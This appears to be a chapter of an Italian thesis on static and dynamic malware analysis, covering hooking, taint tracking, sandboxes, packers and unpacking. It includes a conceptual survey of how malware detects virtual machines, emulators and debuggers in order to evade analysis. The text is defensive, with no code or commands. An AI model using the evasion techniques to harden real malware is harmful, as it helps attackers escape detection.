Uno dei compiti più comuni che deve eseguire un analista di malware è la va-
lutazione iniziale, o la classifcazione di contenuto sconosciuto. La classifcazione
spazia dalla più semplice , come nella rilevazione del tipo di fle, a quella più com-
plessa, come ad esempio il rilevamento della similarità percentuale con altri campio-
ni e determinare quali comportamenti sono condivisi tra le varianti dello stesso mal-
ware. E' a questo punto che entra in campo il concetto di frma sul campione di mal-
ware. Oggi, le frme per toolkit anti-virus vengono create manualmente. Prima di scri-
vere una frma, un analista deve sapere se un campione non noto rappresenta una
minaccia per gli utenti.
Esempio Sez. 10.5 : come classifcare e frmare un fle con ClamAV.
Diverse tecniche di analisi del malware consentono all'analista di comprendere
rapidamente e in modo dettagliato il rischio e l'intenzione di un determinato campio-
ne. Questa intuizione permette di reagire alle nuove tendenze nello sviluppo di mal-
ware o perfezionare tecniche di rilevamento esistenti per attenuare la minaccia prove-
niente da quel campione. [B-16]
Il desiderio degli analisti di capire il comportamento di un dato campione, e

l'intenzione opposta di autori di malware di mascherare le loro creazione con intenti
malevoli, porta ad una corsa agli armamenti tra le due parti. Così come gli strumenti
di analisi e le tecniche diventano più elaborate, così gli attaccanti elaborano tecniche
di evasione per impedire che il loro malware venga analizzato. Tali tecniche compren-
dono auto-modifca o codice generato dinamicamente, così come approcci che rileva-
no la presenza di un ambiente di analisi strumentale, permettendo al malware di na-
scondere o inibire il comportamento malevolo.
Prima di elaborare possibili meccanismi di evasione, presenteremo una pano-

ramica delle tecniche applicabili ai programmi di analisi che vengono utilizzati oggi
per analizzare il codice dannoso. Il processo di analisi di un determinato programma
durante l'esecuzione è chiamata analisi dinamica, mentre l'analisi statica si riferisce a
tutte le tecniche che analizzano un programma controllandolo.
22
3. Analisi del malware Statica e Dinamica
3.1 Analisi Statica

Analizzare software senza eseguirlo si chiama analisi statica. Tecniche di ana-
lisi statica possono essere applicate su diverse rappresentazioni di un programma. [B-
16] .
Se il codice sorgente è disponibile, strumenti di analisi statica possono aiutare a

trovare i difetti di corruzione della memoria, Chen Liqian [11] dimostra la correttez-
za di modelli per un dato sistema. L' affdabilità del software è basilare quando si
considera la sua qualità e sicurezza . Trovare bug prima del rilascio è fondamentale
per costruire il software affdabile. Questo è estremamente importante per le applica-
zioni critiche per la sicurezza come quelle nel settore aerospaziale, della difesa e nel
settore automobilistico .
Software embedded per programmi scientifci e di ingegneria utilizzati in par-

ticolari settori critici per la sicurezza sono di solito legati alla matematica ed alla fsi-
ca, e quindi spesso comportano un grande quantitativo di calcoli numerici. Quindi,
molti bug dei programma, tra cui la divisione per zero, overfow aritmetici e lunghez-
za di campo di una matrice non coerente (ad esempio in java 'Array Index Out of
Bounds Exception' ), sono strettamente legati alla proprietà numeriche del program-
ma stesso. Strumenti di analisi statica possono essere utilizzati anche sulla rappresen-
tazione binaria di un programma.
Quando si compila il codice sorgente di un programma in un eseguibile bina-

rio, alcune informazioni (ad esempio, la dimensione di strutture dati o variabili) si
perde. Questa perdita di informazioni complica ulteriormente il compito di analizza-
re il codice. Strumenti di analisi statica possono essere utilizzati per estrarre le infor-
mazioni utili su di un programma. I grafci delle chiamate danno ad un analista una
panoramica di quali funzioni possono essere invocate e da dove nel codice. Se l'anali-
si statica è in grado di calcolare i possibili valori dei parametri, questa conoscenza
può essere utilizzata per meccanismi di protezione avanzati [B-16].
3.1.1 Problemi di utilizzo dell' Analisi Statica del malware

In generale, il codice sorgente di campioni di malware non è prontamente di-
sponibile. Questo riduce l'applicabilità delle tecniche dell'analisi statica del malware a
quelle che recuperano le informazioni dalla rappresentazione binaria del malware.
Analizzare i binari porta con sé sfde complesse.
23
Si deve considerare, per esempio, che la maggior parte degli attacchi di mal-
ware su host eseguono istruzioni del set IA32 [12]. Il disassemblamento di tali pro-
grammi potrebbe comportare risultati ambigui se il binario utilizza tecniche di codice
automodifcante (ad esempio, i programmi di packer [B-48] [esempi nella sezione
n.10] ). Inoltre, il malware, basandosi su valori che non possono essere staticamente
determinati (ad esempio, la data corrente del sistema, le istruzioni di salto indiretto)
aggravano l'applicazione di tecniche di analisi statica. Moser [B-33] propone una me-
todologia che si basa su costanti opache per contrastare l'analisi statica.
Si può prevedere che gli autori di malware conoscano dei limiti nei metodi di
analisi statica, e, quindi, probabilmente creeranno istanze di malware che utilizzano
queste tecniche per contrastare tale analisi. Pertanto, è necessario sviluppare tecniche
di analisi che siano resistenti a quelle modifche e siano in grado di analizzare in
modo affdabile software dannoso.
3.2 Analisi Dinamica del malware

E' il processo di analisi delle azioni eseguite da un programma mentre è in
esecuzione così è defnita l'analisi dinamica.
3.2.1 Metodi e tecniche per l' Analisi Dinamica
Segue una descrizione dei metodi e delle tecniche sviluppate da esperti per la
rilevazione del comportamento anomalo di programmi in esecuzione. Questi metodi
possono essere utilizzati in maniera integrata tra loro per ottenere una più effciente
attività di rilevazione.
3.2.1.1 Monitoraggio delle chiamate di Funzione

In genere, una funzione consiste di codice che esegue un compito specifco,
come calcolare il valore fattoriale di un numero o la creazione di un fle. Mentre l'uso
di funzioni può risultare in un codice di facile riusabilità, e più facile manutenzione,
la proprietà che rende interessanti le funzioni per l'analisi del programma è che esse
sono comunemente usate per estrarre dettagli implementativi di una rappresentazio-
ne più ricca semanticamente.
24
Quando si tratta di analizzare il codice, queste astrazioni aiutano ad acquisire

una panoramica del comportamento del programma. Un modo possibile per control-
lare quali funzioni sono chiamate da un programma è di intercettare queste chiamate.
Il processo di intercettare le chiamate di funzione si chiama “hooking” (aggancio). Il
programma analizzato è manipolato in modo tale che, oltre alla funzione prevista, sia
invocata una “hook function” . Questa funzione di aggancio è responsabile dell'attua-
zione delle richieste di analisi funzionali, come la registrazione della sua invocazione
su un fle di log, o analizzare parametri di input.
Approfondimento dell'argomento:
Sezione n. 9.1 Dettaglio Chiamate di Funzione
3.2.1.2 Analisi dei Parametri di Funzione

Mentre l'analisi dei parametri in funzione di un'analisi statica cerca di dedurre
l'insieme di possibili parametri o loro tipi in maniera statica, l'analisi dinamica dei pa-
rametri di una funzione si concentra sui valori effettivi che vengono passati quando
viene richiamata una funzione. Catturare i parametri e i valori di ritorno delle funzio-
ni consente la correlazione delle chiamate di una singola funzione che operano sullo
stesso oggetto.
Ad esempio, se il valore di ritorno (un fle-handle1) di una chiamata di sistema

CreateFile viene utilizzato in una chiamata successiva WriteFile, tale correlazione è una
conseguenza ovvia. Raggruppare le chiamate di funzione in insiemi logicamente
coerenti fornisce informazioni dettagliate sulla comprensione del comportamento del
programma da un punto di vista oggetto-centrico.
3.2.1.3 Tracciamento del Flusso di informazioni

Un approccio ortogonale al monitoraggio di chiamate di funzione durante l'e-
secuzione di un programma, è l'analisi su come un programma elabora i dati. L'obiet-
tivo del monitoraggio del fusso informativo è far luce sulla propagazione dei dati
"interessanti" in tutto il sistema, mentre un programma che manipola tali dati è in ese-
cuzione.
1
Gli Handles (maniglie) sono strutture di dati che rappresentano le istanze aperte di oggetti base del sistema
operativo con cui le applicazioni interagiscono , ad esempio file, chiavi di registro, primitive di sincronizzazione, e
la memoria condivisa. Ci sono due limiti relativi al numero di handle che un processo può creare: il numero
massimo dell' insieme di handles di sistema per un processo e la quantità di memoria disponibile per memorizzare
gli handles e gli oggetti a cui l'applicazione fa riferimento con gli handles [22].
25
In linea generale, i dati che devono essere monitorati sono specifcamente
contrassegnati o “tainted” con un'etichetta corrispondente. Ogni volta che i dati
sono trattati con l'applicazione, la sua “tainted-label” si propaga. Istruzioni di asse-
gnamento, per esempio, di solito propagano la tainted-label dell' operando sorgente
alla destinazione. Oltre ai casi evidenti, le politiche devono essere impostate affnchè
descrivano come le tainted-label sono propagate in scenari più diffcili. Tali scenari in-
cludono l'utilizzo di un puntatore tainted come l'indirizzo di base per l'indicizzazione
di un array o espressioni condizionali che sono valutate su valori alterati.
Fonti “taint” e Pozzi “taint”. Due concetti vitali dei sistemi di monitoraggio del
fusso dati sono fonti taint e pozzi taint. Una fonte taint è responsabile dell'introdu-
zione di nuove taint-label nel sistema (cioè, segnando i dati che sono ritenuti interes-
santi dall'analisi). In contrasto ad una fonte di marcatura (taint), un pozzo di marca-
tura (taint) è un componente del sistema che reagisce in modo specifco quando sti-
molato da un input tainted (ad esempio, emettere un avviso quando i dati grezzi sono
trasferiti attraverso la rete).
Gli esempi che seguono , nell'approfondimento, dovrebbero dare una breve

panoramica degli aspetti che devono essere presi in considerazione nello sviluppo di
sistemi di monitoraggio del fusso di informazioni. I frammenti di codice usano la
sintassi C, e una corrispondente notazione [16] asm Intel, se del caso.
Sezione n. 9.2 Dettaglio Tracciamento Flusso di Informazioni
3.2.2 Tracciare le istruzioni
Una preziosa fonte di informazione per un analista per capire il comporta-

mento di un campione analizzato è la traccia di istruzioni. Cioè, la sequenza di istru-
zioni macchina che il campione ha eseguito mentre era analizzato. Comunemente, è
ingombrante da leggere e interpretare, questa traccia però può contenere informazio-
ni importanti non rappresentate in un'astrazione a più alto livello (ad esempio, report
di analisi delle chiamate di sistema e funzione).
26
3.2.3 Estendibilità dell'Avvio automatico

L'estendibilità dei punti automatici di avvio (ASEPs) defnisce i meccanismi
del sistema che permettono ai programmi di essere invocati automaticamente durante
il processo di avvio del sistema operativo o quando un'applicazione viene lanciata [B-
53].
La maggior parte dei componenti del malware cercano di persistere durante il

riavvio di un host infettato con l'aggiunta di se stessi per uno degli ASEPs disponibili.
È, quindi, di interesse per un analista monitorare tali ASEPs quando un campione
sconosciuto viene analizzato.
3.3 Strategie di Attuazione

L'implementazione di un sistema di analisi del malware richiede diverse deci-
sioni di progettazione che hanno conseguenze di vasta portata. I diversi livelli di pri-
vilegi CPU, come introdotto in precedenza , implicano che un componente di analisi
che esegue con un livello di privilegi superiori rispetto al programma in analisi non
sia accessibile da questo programma.
Componenti di Analisi in esecuzione sullo stesso livello di privilegio come il

malware devono applicare le tecniche stealth per rimanere nascosti dal programma
analizzato. Implementare le funzionalità di analisi in una macchina virtuale o emula-
tore permette potenzialmente un metodo di analisi per nascondere la propria presen-
za anche da malware che viene eseguito nello spazio del kernel. Naturalmente, il mal-
ware in esecuzione con un livello di privilegi superiore alla componente di analisi può
sempre nascondersi, e quindi contrastare l' analisi.
Questa sezione descrive le diverse possibilità di attuazione di un sistema di

analisi e spiega i vantaggi e gli svantaggi di ogni metodo.
3.3.1 Analisi nello Spazio User/Kernel
Analizzare il software dannoso nello spazio utente consente di realizzare un

metodo di analisi per raccogliere informazioni, come ad esempio sulle funzioni invo-
cate dalle chiamate API.
Tale tecnica può facilmente accedere a tutte le strutture di memoria e informa-

zioni di alto livello fornite dal sistema operativo. Ad esempio, enumerare i processi in
27
esecuzione è così banale come l'interrogazione dei moduli caricati o librerie. Ciò è
possibile perché lo stesso insieme di API è disponibile per lo strumento di analisi
come per ogni altra applicazione in esecuzione sul sistema. La possibilità di nascon-
dere il componente di analisi durante l'esecuzione solo nello spazio utente è molto li-
mitata. Ad esempio, nascondere un processo o una libreria di dati a tutti gli altri pro-
cessi in esecuzione sul sistema non è generalmente possibile solo dallo spazio utente.
Questa limitazione è più semplice quando il componente di analisi gira in ker-

nel-space. Strumenti di analisi con l'accesso alle funzioni di livello kernel in grado di
raccogliere informazioni aggiuntive, come ad esempio le chiamate di sistema invoca-
te, possono nascondere la loro presenza al malware che è eseguito solo in modalità
utente. Nascondersi dal software dannoso che ha guadagnato il privilegio per l'ese-
cuzione in modalità kernel è, di nuovo però, complicato. Permettendo che la compo-
nente di analisi venga eseguita in modalità kernel, l'aggancio delle API è banalmente
raggiunto. Tuttavia, è qualche volta complicato registrare una traccia di istruzioni o
eseguire il fusso di informazioni di traccia.
Una possibilità per registrare una traccia di istruzioni è quella di sfruttare le

funzionalità di debug della CPU a singolo passaggio attraverso il campione in analisi.
Impostando il fag trappola nel registro x86 EFLAGS realizza questo compito. L'im-
postazione di questo fag getta un'eccezione di debug per l'istruzione successiva. Il
componente di analisi può intercettare questa eccezione di debug ed eseguire i pas-
saggi necessari, come disassemblare l'istruzione e aggiungerla alla traccia istruzioni.
3.3.2 Analisi in un emulatore
L' esecuzione di un programma in un ambiente emulato permette ad un com-

ponente di analisi di controllare ogni aspetto dell'esecuzione del programma. A se-
conda di quale parte dell'ambiente di esecuzione viene emulato, sono possibili diver-
se forme di analisi.
Sezione n. 9.3 Dettaglio Analisi in Ambiente Emulato
3.3.3 Analisi in una Macchina Virtuale
Secondo Goldberg [B-21], una macchina virtuale (VM) è "un effciente, duplica-
to isolato della macchina reale."
28
Un Monitor di Virtual Machine (VMM) è responsabile per la presentazione e la ge-

stione di questo duplicato ai programmi ed è responsabile del sottostante hardware.
Ciò signifca, in pratica, che nessuna macchina virtuale può accedere all'hardware pri-
ma che il VMM assegni l'hardware per questa specifca VM.
L'idea chiave dietro la virtualizzazione è che lo stato privilegiato della macchi-

na fsica non è direttamente accessibile in qualsiasi macchina virtuale. La nozione di
stato privilegiato osservabile all'interno della VM esiste solo virtualmente ed è gestito
dal VMM per soddisfare le aspettative del sistema ospite. A differenza degli emula-
tori, l'architettura host e guest nelle macchine virtuali è identica.
Questa restrizione consente al sistema guest di eseguire istruzioni non privile-

giate (cioè, le istruzioni che non infuenzano lo stato privilegiato della macchina fsi-
ca) non modifcando l'hardware dell'host, con conseguente miglioramento delle pre-
stazioni. Allo stesso modo come con gli emulatori, tuttavia, le macchine virtuali forni-
scono un forte isolamento per le risorse. Così, un componente di analisi attuato in
VMM ha anche il potenziale di passare inosservato dai programmi analizzati.
Comunemente, tale componente di analisi o è integrato direttamente nella

VMM o si svolge in una macchina virtuale aggiuntiva. In quest'ultimo caso, il VMM
deve fornire tutte le informazioni necessarie per l'analisi VM per eseguire il suo com-
pito, con conseguenti prestazioni inferiori.
Proprio come con un emulatore, il VMM ha solo accesso allo stato della mac-
china virtuale. Il divario semantico tra questo stato e i concetti di alto livello degli og-
getti del sistema operativo deve essere colmato al fne di recuperare le informazioni
pertinenti. Mentre è banale creare una traccia di istruzione in un emulatore, che pro-
duce lo stesso risultato , su un sistema di analisi basato su VM non è così semplice,
perché le istruzioni vengono eseguite senza privilegi su hardware nudo senza coin-
volgere il VMM. Tuttavia, per produrre una traccia di istruzioni, può essere applicato
lo stesso approccio con analisi kernel-space. Una volta che il VMM impara il valore
CR3 del processo analizzato, si imposta il fag trappola nel registro dei EFLAGS della
CPU .
L'unica differenza è con gli ambienti che eseguono l'analisi della VMM; l'ecce-
zione di debug sarebbe stata catturata nel VMM prima che raggiungesse anche il si-
29
stema operativo guest. Per monitorare le chiamate API, si applicano le stesse restri-
zioni con tecniche di analisi di emulation-based.
3.3.4 Ripristino dell'ambiente di Analisi
Un'altra questione che può infuenzare la progettazione di un approccio di

analisi è la quantità di tempo necessario per ripristinare l'ambiente di analisi di uno
stato pulito. Questo è necessario perché i risultati sono solo comparabili se ogni cam-
pione viene eseguito in un ambiente identico. Più campioni devono essere analizzati,
più grande sarà l'impatto di questo tempo di reset.
Finora sono stati proposti tre metodi per eseguire questa operazione:
(1) le soluzioni software,
(2) le istantanee delle macchine virtuali,
(3) e le istantanee hardware.
L'idea generale dietro le ultime due tecniche è quella di mantenere un "siste-

ma base" (ad esempio, un impianto normale di un sistema operativo), e reindirizzare
eventuali modifche a tale sistema trasparente di stoccaggio separato. Leggere le
operazioni, a turno, usare la memoria come una sovrapposizione al sistema di base
originale in modo da rifettere correttamente le modifche apportate. Il reset avviene
omettendo o creando un nuovo spazio vuoto.
Sezione n. 9.4 Dettaglio Ripristino dell'Ambiente di Analisi
3.3.5 Simulazione di rete

Campioni di malware moderni spesso richiedono una qualche forma di acces-
so a Internet per funzionare. Ad esempio, un campione di malware può scaricare
componenti aggiuntivi, aggiornamenti o dati di confgurazione prima di eseguire le
sue azioni nefaste. L'approccio banale di negare o consentire il traffco di rete in ge-
nere produce risultati indesiderati. Negare tutti gli accessi alla rete al campione in
analisi darà quasi sicuramente osservazioni incomplete del comportamento del mal-
ware.
Ad esempio, uno spam che invia worm che non può risolvere l'indirizzo IP del
server di posta non può nemmeno provare a inviare email di spam. Così, questo com-
30
portamento caratteristico non può essere controllato. Se viene permesso invece l'ac-
cesso a tutta la rete, tuttavia, lo stesso campione può partecipare a campagne di spam
reali che porteranno ad un comportamento inaccettabile. Oltre a fornire l'accesso a In-
ternet ad un campione di malware, è anche vantaggioso fornire obiettivi facili per l'in-
fezione nel caso in cui il malware tenti di diffondersi attraverso la rete [Inoue et al.
2008].
Tali obiettivi sono comunemente forniti da honeypot che imitano i servizi di

rete vulnerabili. In questa sezione, si discutono due metodi per limitare l'accesso alla
rete per i campioni in esame. Queste restrizioni possono essere eseguite con tecniche
diverse e in varia misura.
Non Internet, ma una Rete simulata.

Questa tecnica non permette al campione analizzato di comunicare con Inter-
net reale. Invece, i servizi di rete comunemente usati sono simulati, e tutto il traffco
viene reindirizzato a questi servizi. Tali servizi includono, ma non sono limitati ai ser-
ver DNS, posta, IRC, e fles server. Se la simulazione è suffcientemente completa, il
malware esporrà i suoi comportamenti dannosi e l'analisi sarà completamente autosuf-
fciente. Il malware che tenta di aggiornare via Internet non riuscirà a farlo, e i bot che
aspettano i comandi dal loro botmaster probabilmente rimarranno inattivi.
Accesso a Internet filtrato.

Mentre al malware viene concesso l'accesso a Internet, questo accesso è limitato
e strettamente monitorato. Questo è comunemente eseguito applicando tecniche che
attenuano l'effetto dannoso e la minaccia di un grande volume di traffco generato. Il
fltraggio del traffco di posta in uscita o l'applicazione di strumenti di rilevamento
dell'intrusione e prevenzione forniscono questa funzionalità.
In aggiunta l'applicazione di “traffc shaping” o limitazione della velocità del traffco
dannoso, farà in modo che l'effetto negativo su Internet e i suoi utenti sarà ridotto al
minimo.
3.3.6 Corsa alle Armi tra Analisti ed Autori del malware
La corsa agli armamenti tra gli autori di malware e gli analisti della sicurezza
che hanno bisogno di capire il comportamento di un malware per creare contromisure
effcaci si è evoluta. Questa sezione approfondisce le misure prevalenti che gli autori
d i malware applicano oggi per consentire ai loro campioni di eludere analisi. Se del
31
caso, si ricordano anche tecniche che sono state successivamente adottate dagli anali-
sti di sicurezza e gli strumenti per superare queste contromisure.
L'utilizzo di queste tecniche sul malware spesso non sono uniche. Gli autori di
programmi legittimi, benigni possono anche fare uso di tali tecniche per proteggere i
loro programmi dall'essere analizzati e dal reverse engineering.
3.3.6.1 Codice che si Auto-Modifica e Packers.

Storicamente, il malware utilizza il codice di auto-modifca per rendere l'anali-
si statica più pesante e mascherare i suoi intenti malevoli.
Mentre tali modifche sono state effettuate incorporando le parti di auto-modifca nel
malware stesso, più recenti sviluppi hanno portato a strumenti packer.
Un programma di packer trasforma automaticamente un fle eseguibile (ad

esempio, un binario malware) in una rappresentazione sintatticamente diversa, ma se-
manticamente equivalente. Il packer crea la rappresentazione semanticamente equiva-
lente da ofuscare o la crittografa del binario originale e memorizza il risultato come
dati in un nuovo fle eseguibile. Una routine unpacker viene anteposta ai dati, la cui
responsabilità in base alla chiamata consiste nel ripristino (vale a dire, deobfuscating
o decifrare) i dati alla rappresentazione originale.
Questa ricostruzione può avvenire esclusivamente nella memoria che evita

perdite di tutte le versioni unpacked del binario sul disco. Dopo lo spacchettamento o
estrazione (unpacking), il controllo viene consegnato al binario originale, ora spac-
chettato, che svolge i compiti previsti. Varianti polimorfche di un dato binario pos-
sono essere create automaticamente scegliendo chiavi casuali per la crittografa. Tut-
tavia, le loro routine spacchettate sono, a parte le chiavi di decifrazione, in gran parte
identiche.
Pertanto, mentre le frme non possono valutare la minaccia del binario com-
presso, la frma corrispondente può essere utilizzata per rilevare il fatto che un pro-
gramma packer è stato usato per creare il binario. Varianti metamorfche, in contrasto
con binari polimorfci, possono mutare la routine di estrazione, e possono intralciare
ancora di più il rilevamento . Secondo Taha ed altri [B-48] , una grande percentuale
di software dannoso oggi è disponibile in forma compressa. Inoltre, le istanze di
malware che applicano strati ricorsivi multipli e di packer sono sempre più diffuse.
32
3.3.6.2 Mitigare il problema Packer

Analizzare dinamicamente i binari compressi è, in teoria, non diverso da ana-
lizzare binari non impacchettato (ofuscato), perché una volta che la routine di spac-
chettamento è fnita, il binario originale viene eseguito e si comporta come se non fos-
se modifcato. Tuttavia, durante l' esecuzione di analisi che si concentra esclusiva-
mente sul binario originale, è vantaggioso annullare prima il packing. Esistono diversi
sistemi che permettono di tornare indietro dalle modifche eseguite da un packer su
un binario.
3.3.6.3 Reverse-engineering dell'algoritmo di unpacking

Capire come la routine di spacchettamento ripristina il binario originale nella
memoria permette di creare un programma (ripper) che esegue le stesse azioni e por-
ta il binario risultante sul disco, rendendolo disponibile per l'analisi. Prima di effet-
tuare l'operazione di modifca dell' offuscamento, si deve determinare quale strumen-
to è stato utilizzato per produrre il binario in questione. Ad esempio, lo strumento
PEiD è progettato per rispondere a questa domanda.
Esempio Sez. n.10.4 : utilizzo del software Peid.
3.3.6.4 Rilevamento generico e ricostruzione di codice packed

Per i binari che sono offuscati con packer sconosciuti, sono state proposte in let-
teratura altre tecniche di ricostruzione. I passi per effettuare sia l'impacchettamento
che l'inverso devono essere trasparenti per il binario originario in modo che, una vol-
ta che l'estrazione, è fnita, il binario debba essere presente nella sua forma originale.
I ricercatori di sicurezza usano questa osservazione al fne di proporre una

tecnica che permetta loro di rilevare la fne di una sequenza di spacchettamento. Poi,
è noto quando una versione non modifcata del binario originale sia presente nello
spazio di indirizzi di elaborazione.
Questo rilevamento può essere ottenuto applicando una politica "write xor exe-
cute" (W ù X) sui binari compressi nelle pagine di memoria virtuale. Questa tecnica è
descritta nella seguente procedura in tre fasi:
33
(1) All'avvio, tutte le pagine di memoria del binario oggetto di analisi sono contrasse-
gnate come eseguibili e di sola lettura;
(2) Una volta che il fle binario scrive una pagina di memoria, si verifca un errore di
pagina . Quando viene catturato questo errore di pagina ('fault') sul permesso di scrit-
tura , il sistema modifca le impostazioni di protezione della pagina (read/write-only)
lettura /scrittura ( non eseguibile o NX);
(3) Non appena la routine di disimballaggio è completata, si trasferisce il controllo al
binario non modifcato. Ciò porterà ad un altro errore di pagina, a causa dell' impo-
stazioni di protezione NX della pagina;
catturando durante l'esecuzione questi errori di pagina, un sistema di analisi è in gra-
do di riconoscere la fne di una routine di disimballaggio. Inoltre, l'istruzione che ha
generato l'errore di esecuzione della pagina indicherà il punto di ingresso del pro-
gramma del binario originale.
Seguire questa procedura consente ad un sistema di analisi di scartare un bi-

nario compresso, anche se è ricorsivamente impacchettato con diversi programmi
packer. Tale sistema dovrebbe ripetere l'algoritmo per quanto necessario. Tuttavia, in-
terrogando le impostazioni di protezione della pagina, un campione di malware può
essere in grado di rilevare questa metodologia. È quindi importante, per uno stru-
mento che implementa questo algoritmo poter mascherare queste modifche ad un
campione in analisi. Inoltre, sistemi di memoria virtuale permettono ad un processo
di mappare la stessa pagina di memoria fsica con più pagine virtuali diverse, ognu-
na con i propri fag di protezione. Ciò potrebbe consentire ad un'istanza di malware
di scrivere ed eseguire una pagina senza essere scoperta. Pertanto, uno strumento di
decompressione dinamica dovrebbe impiegare contromisure nei confronti di tali ten-
tativi di aggiramento.
3.3.6.5 Rilevazione di Ambienti di Analisi

Considerando che l'analisi statica ha il potenziale per coprire tutto il possibile
fusso di esecuzione di un programma, l'analisi dinamica soffre il problema dell'in-
completa copertura del percorso (path).
Poiché l'estrazione di informazioni è effettuata mentre viene eseguito il pro-

gramma, solo i percorsi effettivamente eseguiti sono presi in considerazione. Questo
porta a casi di malware che tentano di individuare piattaforme di analisi e durante il
34
rilevamento, ad interrompere o terminare o mostrare un comportamento non mali-

gno per aggirare analisi.
Chen et al. [B-10] presentano una tassonomia di diversi strumenti che possono
essere utilizzati dal malware per rilevare se viene eseguito in un ambiente strumenta-
to (ad esempio, in una macchina virtuale, o collegato a un debugger). Secondo la tasso-
nomia, tali strumenti si possono trovare nelle seguenti quattro aree principali:
(1) Hardware. Dispositivi in macchine virtuali spesso possono essere facilmente rileva-
ti tramite una specie di impronta (fngerprinted) (ad esempio, "pcnet32" scheda di rete
di VMWare, o di KVM "QEMU HARDDISK" disco rigido virtuale);
(2) Ambiente di esecuzione. si riferisce a manufatti che vengono introdotti nell' ambiente
di un processo monitorato (ad esempio, gli indicatori di stato del debugger accessibili
dal IsDebuggerPresent () chiamata API di Windows, o l'indirizzo di memoria della ta-
bella del descrittore di interrupt (IDT) nelle VMWare guests);
(3) Applicazioni esterne. La presenza di applicazioni di monitoraggio ben note, come i
debugger, o fle-system e strumenti di monitoraggio del Registro di sistema, possono
anche essere un'indicazione per un sistema di analisi;
(4) Comportamentale. Il tempo di esecuzione di istruzioni privilegiate variano tra host
reali ed i sistemi che vengono eseguiti in un ambiente virtuale. E 'semplice per un
programma di malware catturare queste differenze temporali.
Mentre i campioni di malware sono noti per rilevare quadri di analisi specifci,
esistono tecniche più generiche che rilevano se un programma è in esecuzione all'in-
terno di un ambiente virtualizzato o emulato [B-18] [B-27][B-44]. Raffetseder et al. [B-
43] propongono molteplici metodi per individuare un emulatore rilevando differenze
nel comportamento del sistema emulato rispetto a hardware reale.
Questi metodi si basano sui bug della CPU, modelli di registri specifci, e le
differenze nei tempi. Inoltre, Garfnkel et al. [B-19] illustrano le possibilità di rileva-
mento basato su discrepanze logiche, risorse e tempi.
Dal momento che alcune tecniche di analisi facilitano i fag trappola negli EFLAGS re-
gistrati per creare un'analisi a grana fne (a livello di istruzione macchina) , campioni
di malware possono rilevare tali techiche leggendo il registro delle EFLAGS e ispezio-
nando il bit specifco all'interno.
35
Tecniche di contrasto all'Anti-Analisi
Attualmente, molti campioni di malware cessano di esporre il loro comporta-
mento malevolo quando rilevano un ambiente di emulazione o virtualizzazione.
Questo comportamento viene sfruttato da Chen et al. [B-10] che propongono mecca-
nismi di protezione attraverso l'implementazione di leggeri artefatti che riproducono
tali ambienti. La valutazione di questa tecnica ha dimostrato che, in molti casi, tali
meccanismi sono riusciti a dissuadere il malware a svolgere le proprie azioni danno-
se.
In alternativa, gli autori di malware possono annullare tali tecniche di rileva-

mento generiche in modo da non escludere troppi obiettivi legittimi dell'infezione.
Per scoprire e mitigare questi tentativi di evasione, sembrano possibili due soluzioni:
In primo luogo, si può cercare di imparare quali sono le differenze tra l'ambiente di
analisi e di un sistema informatico comune che rendono il malware in grado di cam-
biare il suo comportamento. Eliminando le differenze e ripetendo l'analisi, il malware
esporrà il suo comportamento malevolo;
la seconda possibilità è modifcare il malware durante l'esecuzione, quindi forzando
percorsi di esecuzione diversi da eseguire [B-33]. Sistemi di analisi già esistenti forni-
scono una varietà di contromisure per impedire la loro rilevazione.
A seconda delle parti del sistema che vengono modifcate per eseguire il mo-
nitoraggio, diverse tecniche possono essere applicate per nascondere la presenza del-
lo strumento di analisi .
Sistemi di analisi che modifcano il campione analizzato durante l'esecuzione

in memoria possono nascondere queste modifche memorizzando una copia delle pa-
gine non modifcate e la marcatura delle pagine di memoria modifcate come "non
presente" nella tabella. Un campione può verifcare la propria integrità calcolando un
valore di hash su tutte le pagine di memoria. Calcolando questo valore per una ver-
sione non modifcata del binario e memorizzando il valore previsto nel binario stes-
so, il campione potrebbe rilevare modifche alle proprie pagine di memoria confron-
tando i due valori. Tuttavia, poiché le pagine modifcate sono contrassegnate come
"non presente", un errore di pagina si verifca per ogni accesso del campione.
Per tecniche che implementano almeno una parte della loro capacità di analisi
nella stessa istanza del sistema operativo del campione analizzato, è possibile na-
scondere questi componenti utilizzando tecniche rootkit. Ad esempio, per nascondere
36
processi di analisi aggiuntivi al campione analizzato, un componente rootkit può fl-

trare i risultati delle chiamate API che restituiscono la lista dei processi attualmente
caricati. Tecniche simili possono essere applicate per fltrare moduli che potrebbero
consentire ad un campione di malware di identifcare un sistema di analisi elencando
tutti i moduli caricati. Tuttavia, il malware che contiene un componente kernelmode
può aggirare tali tecniche nascoste accedendo direttamente alle strutture di memoria
corrispondenti , senza invocare eventuali chiamate API.
Il gestore dell' errore di pagina non può essere impostato per segnalare una
versione non modifcata della pagina di memoria in questi casi. Così, il controllo di
integrità passerà e le modifche effettuate dall' ambiente di analisi saranno nascoste
con successo. Come descritto , la modifca delle impostazioni di protezione pagina è
una valida opzione per rilevare se un binario compresso ha completato lo stadio di
decompressione.
Naturalmente, un campione di malware potrebbe controllare le impostazioni

di protezione di pagina delle proprie pagine di memoria, e quindi rilevare tali siste-
mi. Tuttavia, ci sono diversi modi in cui un sistema di analisi basato su questa tecnica
possa eludere il rilevamento.
Ad esempio, nei sistemi che modifcano direttamente le voci della tabella pagi-
ne (PTE) del processo in esecuzione, le modifche possono essere mascherate mante-
nendo copie ombra delle strutture della tabella delle pagine coinvolte. Inoltre, un si-
stema in grado di segnare la tabella di pagina, contenente le PTE, sue proprie, come
"non presente". Così, se un processo analizzato accede a un PTE modifcato, potrebbe
innescare un errore di pagina, e il gestore di page fault potrà restituire la versione om-
bra di tale voce al campione.
Sistemi che operano fuori del sistema operativo eseguendo il campione analiz-
zato (ad esempio, in VMM, emulatori o hypervisor) possono mantenere copie replicate
delle tabelle di pagina che non sono affatto accessibili al campione analizzato. Così,
non è necessario alcun ulteriore sforzo per nascondere che queste strutture vengano
rilevate. Allo stesso modo, questi sistemi potrebbero modifcare le autorizzazioni per
accedere alle tabelle ombra delle pagine e intercettare e gestire l'errore di pagina risul-
tante sul più alto livello di privilegio (vale a dire, in hypervisor o emulatore). Non pro-
pagando questi errori fault di pagina al sistema operativo guest, le modifche saranno
nascoste con successo. Inoltre, sistemi di analisi che si basano sull'uso di registri spe-
37
cifci della macchina (MSR) potrebbero essere rilevati se questi MSR fossero accessi-
bili dal campione. Per esempio se il fag trappola nel registro x86 EFLAGS è imposta-
to, il completamento della successiva istruzione solleva un'eccezione trappola e can-
cella il fag. Così, impostando il fag ripetutamente nel gestore di interrupt corrispon-
dente, si può facilmente produrre una traccia istruzione del processo monitorato.
